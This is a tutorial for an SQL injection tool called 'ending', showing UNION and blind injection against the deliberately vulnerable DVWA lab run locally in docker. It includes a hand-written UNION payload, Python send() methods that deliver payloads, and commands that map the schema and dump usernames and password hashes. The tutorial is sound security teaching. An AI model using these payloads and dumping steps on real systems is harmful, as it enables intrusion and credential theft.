First steps: DVWA union and blind
Tutorial description
| DBMS | Type | Tags |
|---|---|---|
| MySQL | UNION, Blind | first steps |
To give an introduction to ending, its commands, and the automatic configuration, we'll attack DVWA. Damn Vulnerable Web Application (DVWA) is a vulnerable web box, which contains several SQL injections. We will target the pages that are vulnerable to the UNION and blind injections, letting ending configure the injections automatically, and introducing the basics of the query and map commands.
Target setup
To spawn the target using docker, use:
$ git clone https://github.com/cfreal/ending-tutorials
$ cd ending-tutorials/first-steps
$ sudo docker build -t ending-tutorials/first-steps .
$ sudo docker run -p 80:80 --rm ending-tutorials/first-steps
To check that everything works fine, reach http://localhost/vulnerabilities/sqli/, which should display a form with a single input.
Part 1: UNION SQL injection
The vulnerable page is at http://localhost/vulnerabilities/sqli/. You can try fiddling with it yourself: if you submit a single quote for instance, you get a 500, which is very promising. This is in fact a very simple UNION SQL injection, which we could exploit by hand, with a payload such as:
' UNION SELECT 'a', version() -- -
However, doing it with ending is faster. We'll just tell the tool where to inject, and it'll find out all the other details itself.
Let's create a new design using create:
$ ending dvwa-union create
Note
A file should open in your favorite code editor. If not, open it yourself: ~/ending/dvwa-union/design.py.
A design is a python file that tells ending how to inject. To let ending automatically configure the injection, we only need to code the Design.send() method. This method is responsible for sending payloads to the target. It takes, as a single argument, the payload, a string, and returns the response of the server as bytes.
In our case, the SQL injection can be triggered by issuing a GET request to http://localhost/vulnerabilities/sqli/?id=<payload>&Submit=Submit, so we can create our send() method like so:
class Design(HTTPDesign):
async def send(self, payload: str) -> bytes:
"""Sends given payload to the target and returns the response as bytes.
"""
response = await self.session.get(
"http://localhost/vulnerabilities/sqli/",
params={
"id": payload,
"Submit": "Submit"
}
)
return response.content
Note
The API of self.session is the same as the one of requests, but asynchronous.
Now that ending can send arbitrary payloads, it can try to self-configure. To do so, run configure:
$ ending dvwa-union configure
The automatic configuration should go smoothly.
Check the design file again: ending automatically added additional methods such as inject(), set_compiler(), or set_mapper(). You more complex injection cases, you can edit them yourself, but in this case, we are done!
You can make sure that everything is OK using validate:
$ ending dvwa-union validate
We're ready to dump data!
Using map to dump the schema
We now want to dump the users and passwords of the application. To do so, we need to know the name of the table that stores the users, and its columns. We can get information about the schema of a database using map. Let us first get the names of the databases:
$ ending dvwa-union map databases
We get dvwa and information_schema. The latter being a default database of MySQL, we're interested in the former: dvwa. We can dump its tables and columns using map columns:
$ ending dvwa-union map columns -d dvwa
Amongst other, the users table contains two interesting fields: user and password.
Running SQL queries (query)
To run a query that selects user and password from users, we use query:
$ ending dvwa-union query -t users -f user password
-t (or --table) indicates the table, while -f (--fields) indicates a list of fields.
We're done. The results are automatically saved in the design directory, both as a CSV file and as human readable representation.
Part 2: Blind SQL injection
Let us now target the blind SQL injection page at http://localhost/vulnerabilities/sqli_blind/. By playing with the only field of the form, we can see that if we enter a small ID, such as 1, we get a different message than with other values.
Again, we'll let ending configure itself. Let's create a new design and edit its send() method.
$ ending dvwa-blind create
async def send(self, payload: str="1") -> bytes:
"""Sends given payload to the target and returns the response as bytes.
"""
response = await self.session.get(
"http://localhost/vulnerabilities/sqli_blind/",
headers={"Cookie": "PHPSESSID=gfb0np1hm09lball50c80hno50; security=low"},
params={
"id": payload,
"Submit": "Submit"
}
)
return response.content
Note
By setting 1 as the default value for the payload argument, we tell ending that it is a valid value for the injected field.
We can now ask ending to self-configure:
$ ending dvwa-blind configure
We can see that this time, the TestMethod injection method was chosen. It is the method responsible for performing blind SQL injections. We can then validate that everything went fine:
$ ending dvwa-blind validate
The configuration is done! But since the injection is blind, let us see a few different optimisation tricks to get the data faster.
Map filters
Dumping the tables and columns of a whole database using a blind SQL injection can be very slow. Generally, as an attacker, we're mostly interested in the table that contains the credentials. With ending, you can filter the name of the database, table and column you want to dump using wildcards! To dump every column whose name contains pass, we can use:
$ ending dvwa-blind map columns -c '*pass*'
It returns a single result: the password column from dvwa.users. Let's now dump every column from that table using a database and a table filter:
$ ending dvwa-blind map columns -d dvwa -t users
Column types
If you know the type and charset of a column, you can tell ending about it to greatly increase the speed of the dump. In the previous section, we dumped usernames and passwords. The username field is text, and the passwords are stored in ASCII-hex. Therefore, we add an additional argument -T TH to the original command, where T stands for text and H for hexadecimal.
$ ending dvwa-blind query -t users -f user password -T TH
ending only uses a charset of 16 characters to dump the password, resulting in a faster dump time.